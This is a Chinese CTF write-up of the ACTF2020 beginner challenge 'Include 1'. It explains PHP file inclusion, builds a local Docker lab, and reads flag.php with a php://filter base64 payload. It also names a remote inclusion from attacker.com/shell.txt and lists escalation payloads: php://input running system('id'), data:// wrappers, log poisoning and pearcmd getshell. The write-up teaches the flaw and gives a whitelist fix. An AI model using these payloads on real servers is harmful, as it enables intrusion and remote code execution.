做CTF新生赛Web题有个规律,题目名字往往直白得可怕。ACTF2020新生赛里这道[ACTF2020 新生赛]Include 1,光看题名就能猜到考点是文件包含,而且专门标注了“新生赛”,难度就是给刚入门的选手入门用的。我当时第一次刷这道题的时候,卡在了一个很奇怪的地方:点了页面上的flag链接,什么反应都没有,既没有报错也没有输出。后来才意识到,这恰恰就是文件包含题最经典的坑——你包含了一个纯PHP文件,它被当成代码执行了,而不是被当成文本显示出来。这篇就完整复盘一下这道题的思路、原理和全套实操记录,顺便把新手容易踩的坑也一并说清楚。
1. 题目拆解与环境准备
1.1 从标题能读出哪些信息
这道题叫[ACTF2020 新生赛]Include 1,关键词有三个:ACTF2020是赛事名,新生赛说明面向入门选手,Include直接指向PHP的include语法。很多刚开始刷题的朋友看到“Include”会以为是什么模板引擎的标签,或者联想到C语言里的#include预处理指令,其实这道题考点非常明确——PHP文件包含漏洞。
文件包含(File Inclusion)是Web安全里很基础的一类漏洞。它的本质是:开发者把用户可控的输入直接拼接到了include、require这类PHP语言结构的参数里,导致用户可以控制服务器去包含任意文件。这里还有个知识点需要先区分清楚,PHP的include是语言结构,不是函数,写成include($_GET['file']);和include $_GET['file'];效果一样。而且它的参数可以是一个变量,变量值用户可控时,就出问题了。
1.2 本地搭一个同款靶场
刷题之前我习惯先本地复现一遍,这样调试起来方便,也能直观看到各种payload的效果。这道题的环境很简单,我用Docker起的PHP环境:
docker run -d -p 8080:80 --name include-lab php:7.4-apache然后进容器把默认首页替换掉,或者直接挂载目录:
docker exec -it include-lab bash cd /var/www/html echo '<?php @include($_GET["file"]); ?>' > index.php echo '<?php $flag = "flag{test_flag_here}";' > flag.php这里有个细节值得注意,flag.php里的写法是有讲究的。如果写成<?php echo "flag{...}"; ?>,直接访问index.php?file=flag.php就能看到flag了,那题目就没意义了。新生赛题一般会把flag放在一个纯PHP变量里,比如$flag = "flag{xxx}";,这样include的时候,flag.php的代码会被执行——只是定义了一个变量,并没有输出任何内容,所以页面看起来就是空白的。这个“空白现象”本身就是题目给你的第一个信号。
1.3 第一次访问页面的观察
访问http://localhost:8080,页面通常会有一个链接,指向index.php?file=flag.php。点击之后页面没有变化,但地址栏确实变成了file=flag.php。这个时候能确认的信息有两点:第一,确实存在文件包含点,file参数的值会传给include;第二,直接包含flag.php不会输出flag,因为flag.php只是定义了变量。
顺着这个思路,下一步自然就是想方设法把flag.php的源码内容“读”出来,而不是让它被“执行”。这里就引出了这道题的核心考点:php://filter伪协议。
2. 文件包含与php://filter的关键原理
2.1 include为什么危险:变量拼接是原罪
先看一个常见的安全代码,也是这道题的漏洞来源:
<?php $file = $_GET['file']; include($file); ?>$_GET['file']完全由用户控制,用户传什么,include就包含什么。如果传入的是/etc/passwd,服务器就会尝试去读系统文件;如果传入的是http://attacker.com/shell.txt,服务器就可能把远程恶意代码包含进来执行。这就是“任意文件包含”和“远程文件包含”的雏形。
include和require在处理文件时有一个共同特点:如果被包含文件里包含PHP代码,这些代码会被执行;只有纯文本或者HTML内容才会直接输出。这个特点直接决定了我们后面读取源码时要绕一个弯子。
2.2 php://filter到底做了什么
php://filter是PHP提供的流过滤器机制,它可以在读取文件内容的时候,对数据流做一层额外的处理。最常见的一种玩法是配合convert.base64-encode,把文件内容先进行Base64编码再返回。这个协议的标准写法是:
php://filter/read=convert.base64-encode/resource=目标文件这串URL从语义上看很直白:read=后面跟的是对读取操作施加的过滤器,resource=后面是要读取的文件资源。PHP底层在处理这个协议时,会在读取目标文件的内容后,先经过convert.base64-encode过滤器,把原始二进制或文本内容编码成Base64字符串,然后再交给include去处理。
这里有一个非常关键的细节:如果文件是纯PHP代码,比如<?php $flag = "flag{...}";,直接include会被当成代码执行,不会输出内容。但经过Base64编码之后,这一串内容变成了类似PD9waHAgJGZsYWcgPSAiZmxhZ3t0ZXN0X2ZsYWdfaGVyZX0iOw==的字符串,里面不再包含<?php这样的PHP开始标签,PHP解释器就会把它当作普通文本原样输出。这就是为什么能用php://filter读到源码的原理所在。
2.3 为什么编码后能看到,不编码就看不到
我见过不少新手在这里卡住:直接访问?file=flag.php,什么都没有,于是以为题目有问题。实际上,如果用?file=php://filter/resource=flag.php,也就是不加任何过滤器,直接去读flag.php,页面同样不会有任何输出。原因很简单:这个写法只是让include去读flag.php的原生内容,没有经过Base64这一层转换,内容里还是有<?php标签,所以还是会执行。
换句话说,convert.base64-encode在这道题里起的作用不是“解密”,而是“让PHP代码失去可执行性”。把代码变成一串看不出意义的Base64文本,include反而会老老实实把它吐出来。这是整个方案设计里最精妙、也最容易被忽视的一环。
3. 完整解题过程:从信息收集到拿到flag
3.1 确认参数点与文件类型
先打开题目页面,查看页面源码,确认链接结构。以这道题的容器环境为例,页面里一般会有类似index.php?file=flag.php的链接。点过去之后页面空白,这个时候先别急着试payload,先做两个小测试:
用?file=index.php看看会有什么反应。如果页面还是空白,基本可以确认index.php也是用纯PHP写的,include之后同样被当成代码执行了。如果换成?file=/etc/passwd,会看到一堆用户信息输出,说明服务器对任意文件的读取是放开的,本地文件包含成立。
这个信息很关键,因为如果能读/etc/passwd却读不了flag.php,问题一定出在“PHP文件被解析执行”上,而不是“文件读取权限”上。这也是为什么下一步要上php://filter的原因。
3.2 构造php://filter读取源码
直接上payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php请求之后页面会返回一大段Base64字符串,类似:
PD9waHAgJGZsYWcgPSAiZmxhZ3t0ZXN0X2ZsYWdfaGVyZX0iOw==注意,这里有个容易搞混的地方是URL编码问题。在浏览器地址栏直接输入这串payload时,//和/一般不需要额外编码,但如果用脚本发送请求,建议用urllib.parse.quote处理好特殊字符。在Burp Suite里直接改包就行,不用管URL编码也能正常发送。
3.3 Base64解码还原PHP源码
把上面拿到的Base64字符串用任意工具解码,可以得到:
<?php $flag = "flag{test_flag_here}";在实际的ACTF2020题目里,$flag的值就是真正的flag字符串。拿到这一步,这道题就算做完了。整个链路的逻辑是:确认包含点 → 确认本地文件包含 → 用php://filter绕过PHP代码执行 → Base64解码 → 拿到flag。
3.4 同款题目的变体
这套思路在新生赛里非常常见,只是考察形式会有一些小变化。比如有的题目把read=换成了convert.iconv.utf-8.utf-16之类的编码过滤器,还有的题目在resource=后面接的是/var/www/html/flag.php这种绝对路径。核心思路都是一样的:选择一个无损编码过滤器,让PHP代码失去可执行性,再通过解码还原原文。
还有一类变体是把flag放在环境变量里,或者放在.env配置文件里,这时候用?file=php://filter/convert.base64-encode/resource=.env就能读出来。遇到这类题目,思路完全可以复用。
4. 新手最容易踩的几个坑
4.1 payload拼接错误与大小写问题
最常见的报错是把php://filter/read=convert.base64-encode/resource=flag.php写成php://filter/read=convert.base64encode/resource=flag.php,漏掉了过滤器名称里的横线。PHP会直接报Unable to create filters之类的错误,这道题里还会显示failed to open stream。大小写方面,convert.base64-encode整体不区分大小写,但建议保持题目常见的写法,避免在部分环境里因为别名问题出现意外。
还有一次我见到有人写成了php://filter/read=convert.base64-encode/resource=./flag.php,多了一个./,在某些配置下也能读,但属于不必要的操作。规范写法就是不带./,直接写相对路径或绝对路径。
4.2 为什么直接访问flag.php没有任何反应
这是一个值得多说两句的坑。很多新手做这道题时,点开flag.php链接看到页面空白,第一反应是flag藏在注释里,于是去查看网页源代码;又或者以为是JS动态加载。其实都不是,就是PHP代码被执行了,$flag变量定义了但没输出。解决思路就是换一种方式让file参数去“读取”而不是“执行”目标文件。
也有朋友问,为什么?file=php://filter/resource=flag.php读不到内容?这个前面已经解释过,不加Base64编码过滤器时,PHP标签还在,include照常执行。这里建议新手把“include会发生什么”和“php://filter会发生什么”这两件事分开理解,会顺畅很多。
4.3 搜索热词里混入的无关内容
网上搜这道题的时候,会发现相关搜索里有一堆C语言的#include <stdio.h>、大一新生打印hello world之类的内容,甚至还有error: dsh: plugin tree failed to load: failed to apply loader entry include、kile5程序用vs code打开后#include有红色下划线。这些其实都是搜索时把“include”当成了普通关键词带出来的无关结果。
这里顺便给新手区分一下:PHP的include是语言结构,用来在运行时把一个文件的内容纳入当前脚本执行;C语言里的#include是预处理指令,编译前就把头文件内容粘贴进来。两者名字相似,但场景完全不同。CTF题里说“include”,九成是指PHP文件包含。至于VS Code里#include出现红色下划线,那是C/C++插件没配置好includePath导致的,和PHP这道题一点关系都没有。搜题的时候看到这类结果,直接跳过就行。
5. 漏洞原理的延伸:从Include 1到更多利用方式
5.1 为什么开发者不能直接拼接include路径
从防御角度看,这道题的修复方式很简单,就是不要直接将用户输入传给include。正确做法是维护一份白名单,比如:
<?php $page = $_GET['file'] ?? 'home'; $allowed = ['home', 'about', 'contact']; if (in_array($page, $allowed)) { include($page . '.php'); } else { include('home.php'); } ?>这样即使file参数被恶意构造,也无法突破白名单去包含其他文件。如果确实需要动态包含,也应当过滤掉php://、..、斜杠等危险字符,或者用realpath()校验最终解析出的路径是否在允许目录内。
这里还要额外提醒一点,哪怕代码里用了include($file . '.php')这种拼接后缀的做法,也不是绝对安全的。特定条件下可以通过php://filter配合%00截断(老版本PHP)或其他方式绕过,所以最稳妥的方案始终是白名单。
5.2 文件包含的常见进阶利用方式
新生赛里Include 1考的是读文件,但文件包含漏洞的利用远不止于此。既然聊到扩展,我就把常用的几种方式一并列出来,方便后面的学习路线:
php://input:如果可以POST请求体,且allow_url_include开启,可以直接在Body里写PHP代码,让include执行你提交的代码。格式是?file=php://input,Body里写<?php system('id'); ?>,服务器就会执行命令。data://:类似上面,但代码是放在data://text/plain,后面,可以GET直接提交,比如?file=data://text/plain,<?php phpinfo();?>。同样需要allow_url_include开启。- 日志文件包含:如果
allow_url_include没开,伪协议不好使,可以尝试包含Web服务器日志。Apache的access.log会记录User-Agent,把PHP代码写进UA,再包含日志文件,代码就会被执行。 /proc/self/environ包含:类似日志包含的思路,前提是环境变量里能注入内容。不过现在的环境大多限制较多,新生赛阶段了解一下即可。pearcmd:如果服务器装了Pear,且能控制pearcmd.php参数,可以通过注册恶意扩展的方式getshell。这个相对进阶,新生赛一般不会考。
这些进阶玩法在别的题目里会经常遇到,但它们的根基都是“include了用户可控的内容”这个漏洞点。把Include 1这道题吃透,后面再做文件包含相关的题会轻松很多。
5.3 这道题的实际收获
我个人的体会是,Include 1是一道很好的Web入门题,它的价值不在于难度,而在于把这个知识点讲得非常清晰:include会执行PHP代码,所以不能直接读源码;伪协议能改变读取方式,所以能绕过去。这两个认知一旦建立,以后遇到任何文件包含的变体,第一反应就会是“怎么让PHP代码不被执行”,而不是傻傻地一遍一遍刷新页面。
后面做这类题时,可以按这个顺序尝试:先试直接读普通文件确认包含点,再用php://filter读PHP源码,然后根据环境选择php://input、日志包含等进一步利用。每一步都有明确的目的和验证方法,效率会高很多。